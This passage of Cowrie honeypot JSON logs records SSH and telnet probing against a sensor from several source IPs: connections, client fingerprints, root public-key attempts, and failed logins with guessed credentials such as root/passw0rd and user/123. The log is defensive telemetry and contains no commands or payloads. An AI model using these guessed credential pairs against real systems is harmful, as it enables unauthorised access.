.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:37.370642Z","src_ip":"45.153.34.112","session":"02a07e924f60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:37.620626Z","src_ip":"45.153.34.112","session":"02a07e924f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:38.705332Z","src_ip":"45.153.34.112","session":"02a07e924f60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.22282814979553,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:38.942712Z","src_ip":"192.119.13.58","session":"3dce052720e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.42.205.100","src_port":55822,"dst_ip":"10.17.0.5","dst_port":22,"session":"f74d5e474597","protocol":"ssh","message":"New connection: 194.42.205.100:55822 (10.17.0.5:22) [session: f74d5e474597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.078696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.083118Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.195620Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:0d:9c:75:b2:e1:b8:bd:59:2e:39:84:d9:9d:82:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2Q9ZDmcL5YS7N6f3c1KZ/TIpVU4Khgp7FlK75WP5J9BJA+MJFXMS307T1tCM7g44XmuMpF4noBvD1D7kdwBmM979SLEw3qHr4d7Rix7y6DiaXl9Ub/y2+FWLJ6axCaMnniVhBYWjOobPCwczIjnYSP1FXZbvYjclMCz+fGdkbxHKS291zztp24ejOWKSeEe1/652wSb5KzBygxJs/xY0V34NIua/YNLi7A/UgrB/gTAltrJ0dTpAf9L/2aqzvqtW4EqY+djl3aBB9rEOJ8CHzfpvz393PpgkaOQPMTO2rbSwgtG/TpK39Abvy+rSYci6V/Q6E9zqn3F4j7G+S6Jxz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:0d:9c:75:b2:e1:b8:bd:59:2e:39:84:d9:9d:82:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.727828Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:0d:9c:75:b2:e1:b8:bd:59:2e:39:84:d9:9d:82:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD2Q9ZDmcL5YS7N6f3c1KZ/TIpVU4Khgp7FlK75WP5J9BJA+MJFXMS307T1tCM7g44XmuMpF4noBvD1D7kdwBmM979SLEw3qHr4d7Rix7y6DiaXl9Ub/y2+FWLJ6axCaMnniVhBYWjOobPCwczIjnYSP1FXZbvYjclMCz+fGdkbxHKS291zztp24ejOWKSeEe1/652wSb5KzBygxJs/xY0V34NIua/YNLi7A/UgrB/gTAltrJ0dTpAf9L/2aqzvqtW4EqY+djl3aBB9rEOJ8CHzfpvz393PpgkaOQPMTO2rbSwgtG/TpK39Abvy+rSYci6V/Q6E9zqn3F4j7G+S6Jxz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.732219Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:82:c7:2e:a9:35:82:dd:56:69:e6:d9:8c:2d:67:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Na4BgyyNJGIExxjHIkSXK5I1VEOOV4NMfCh1zCWphONbvtP6GekXVE+hH8MIY3uDGhVMzkXtTpnHv/uTcb+xrKPP+lJG/mrRUWt/yYotIQXInxnfOv8Y/rjxeCRNMZfp5cPDWQZqIVhD5AsHi7Z29hr7Cv1JzpWSVtgOMQ0BL0NWy9z9WgcyovAW2KtM/h2YvIWKXFmRhGcqtExlo76rQ8KkHrB1Bwvt8RnCDB5NlcuwmKuDs9+Me62ECxsUl1rMX8/IaXeZGjIIHPaltyCZI0L8TSKESv87RlYF2aAvJifLqg6Xsn+x2ZYoFXtv7At8iJ+LIb+GzhVAFPYHwn8B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:82:c7:2e:a9:35:82:dd:56:69:e6:d9:8c:2d:67:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.843745Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:82:c7:2e:a9:35:82:dd:56:69:e6:d9:8c:2d:67:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3Na4BgyyNJGIExxjHIkSXK5I1VEOOV4NMfCh1zCWphONbvtP6GekXVE+hH8MIY3uDGhVMzkXtTpnHv/uTcb+xrKPP+lJG/mrRUWt/yYotIQXInxnfOv8Y/rjxeCRNMZfp5cPDWQZqIVhD5AsHi7Z29hr7Cv1JzpWSVtgOMQ0BL0NWy9z9WgcyovAW2KtM/h2YvIWKXFmRhGcqtExlo76rQ8KkHrB1Bwvt8RnCDB5NlcuwmKuDs9+Me62ECxsUl1rMX8/IaXeZGjIIHPaltyCZI0L8TSKESv87RlYF2aAvJifLqg6Xsn+x2ZYoFXtv7At8iJ+LIb+GzhVAFPYHwn8B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.851053Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:b5:5e:47:92:52:32:ee:16:ec:f6:66:81:8f:18:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv/zmd4RBsgUkkYO/FAdZGgU2kS3cjxayGj361dmyvkKdQBhP19t9Ts01MwN5Wf2SIQKtGfPlsc6P0rHDTt5jD8PdMdxeNVt0xW6Ijt8C+U1DwByUPhKCq+G545v2AGDlu5sZPHEPKqFNyW8IUgEzJDjSUa76iTx62xT8UcQkKzzubQrcakHPXfMuOVL9zD0Yp+v9eF9vTSVOWal9RNlcDW045Jp7uVCw92DUTajZx2MYdFYpv92uIqZmO1x1+qQaP02lIvV2ayJTPmq5Q2vld9tEohDV7CFzzLXPL+8FIlYIfWWNZOl13Q7cgSK3dFoaS+Vn46AYuIqFgSSvIHQquw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:b5:5e:47:92:52:32:ee:16:ec:f6:66:81:8f:18:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.963020Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:b5:5e:47:92:52:32:ee:16:ec:f6:66:81:8f:18:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv/zmd4RBsgUkkYO/FAdZGgU2kS3cjxayGj361dmyvkKdQBhP19t9Ts01MwN5Wf2SIQKtGfPlsc6P0rHDTt5jD8PdMdxeNVt0xW6Ijt8C+U1DwByUPhKCq+G545v2AGDlu5sZPHEPKqFNyW8IUgEzJDjSUa76iTx62xT8UcQkKzzubQrcakHPXfMuOVL9zD0Yp+v9eF9vTSVOWal9RNlcDW045Jp7uVCw92DUTajZx2MYdFYpv92uIqZmO1x1+qQaP02lIvV2ayJTPmq5Q2vld9tEohDV7CFzzLXPL+8FIlYIfWWNZOl13Q7cgSK3dFoaS+Vn46AYuIqFgSSvIHQquw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.967390Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36824,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c949032c49d","protocol":"ssh","message":"New connection: 45.153.34.112:36824 (10.17.0.5:22) [session: 6c949032c49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.991599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:40.996240Z","src_ip":"45.153.34.112","session":"6c949032c49d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.078660Z","src_ip":"45.153.34.112","session":"6c949032c49d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:06:a3:38:4e:5c:0d:80:8f:05:a0:c9:ac:07:aa:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIh+uy6kFBpR4wG0v6R4Fl1ltJKKjjnfls7jy9rb5/Kv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 92:06:a3:38:4e:5c:0d:80:8f:05:a0:c9:ac:07:aa:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.085733Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:06:a3:38:4e:5c:0d:80:8f:05:a0:c9:ac:07:aa:2f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIh+uy6kFBpR4wG0v6R4Fl1ltJKKjjnfls7jy9rb5/Kv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.089428Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:ab:b0:7a:de:70:e4:e6:f2:38:78:07:88:cb:44:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz191MA6MXRbsHRT1Cmk5GmTdRVmdOFn7Kmnju3plx9ctGpI9ZegntdOuLBSRDHITL0//m8odSZV+Vq9prWjfWiFYc8Ftt4sBkUuDp/rBuXFKM2eStaeCpyZMS4rU/RAJ5A4WvWD/BqAWzEDZIhaDeXr7pqOJPZtbzQc81aB3LAVe5kq9qHmTnfgG587nPTTb8EOK4YcBc5jYmU1VGX+YUAP3M0YbjN9LLoXZW2k1r7QwpibxshQjwcdKIk2PLlnYaBJeYCptYqYjRKtuXrGab/BTT6O7oaEr1mw/H1J9lFRLbUwo1sZXZGq0ANDRPfFCXmS2QouSq/DlAEu1AuXtv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:ab:b0:7a:de:70:e4:e6:f2:38:78:07:88:cb:44:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.202843Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:ab:b0:7a:de:70:e4:e6:f2:38:78:07:88:cb:44:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDz191MA6MXRbsHRT1Cmk5GmTdRVmdOFn7Kmnju3plx9ctGpI9ZegntdOuLBSRDHITL0//m8odSZV+Vq9prWjfWiFYc8Ftt4sBkUuDp/rBuXFKM2eStaeCpyZMS4rU/RAJ5A4WvWD/BqAWzEDZIhaDeXr7pqOJPZtbzQc81aB3LAVe5kq9qHmTnfgG587nPTTb8EOK4YcBc5jYmU1VGX+YUAP3M0YbjN9LLoXZW2k1r7QwpibxshQjwcdKIk2PLlnYaBJeYCptYqYjRKtuXrGab/BTT6O7oaEr1mw/H1J9lFRLbUwo1sZXZGq0ANDRPfFCXmS2QouSq/DlAEu1AuXtv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.207078Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.319258Z","src_ip":"194.42.205.100","session":"f74d5e474597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:41.323866Z","src_ip":"45.153.34.112","session":"6c949032c49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad33c683b85f","protocol":"telnet","message":"New connection: 192.119.13.58:47950 (10.17.0.5:23) [session: ad33c683b85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:42.024735Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48180,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60b0b93e2b1","protocol":"telnet","message":"New connection: 192.119.13.58:48180 (10.17.0.5:23) [session: f60b0b93e2b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:42.104713Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:42.526366Z","src_ip":"45.153.34.112","session":"6c949032c49d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36838,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d6df6e8399","protocol":"ssh","message":"New connection: 45.153.34.112:36838 (10.17.0.5:22) [session: d4d6df6e8399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:44.434921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:44.439594Z","src_ip":"45.153.34.112","session":"d4d6df6e8399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:44.619128Z","src_ip":"45.153.34.112","session":"d4d6df6e8399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:45.026067Z","src_ip":"45.153.34.112","session":"d4d6df6e8399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:46.245053Z","src_ip":"45.153.34.112","session":"d4d6df6e8399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41734,"dst_ip":"10.17.0.5","dst_port":23,"session":"aef17feddc4f","protocol":"telnet","message":"New connection: 192.119.13.58:41734 (10.17.0.5:23) [session: aef17feddc4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:46.935282Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36854,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbdc672cc5ae","protocol":"ssh","message":"New connection: 45.153.34.112:36854 (10.17.0.5:22) [session: dbdc672cc5ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.073123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.078033Z","src_ip":"45.153.34.112","session":"dbdc672cc5ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.234707Z","src_ip":"45.153.34.112","session":"dbdc672cc5ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.267494678497314,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.328986Z","src_ip":"192.119.13.58","session":"baf5de4db3f3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.538867Z","src_ip":"45.153.34.112","session":"dbdc672cc5ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49164,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf1dd0867809","protocol":"ssh","message":"New connection: 103.173.227.57:49164 (10.17.0.5:22) [session: bf1dd0867809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.776834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:06:48.781658Z","src_ip":"103.173.227.57","session":"bf1dd0867809","protocol":"ssh"}
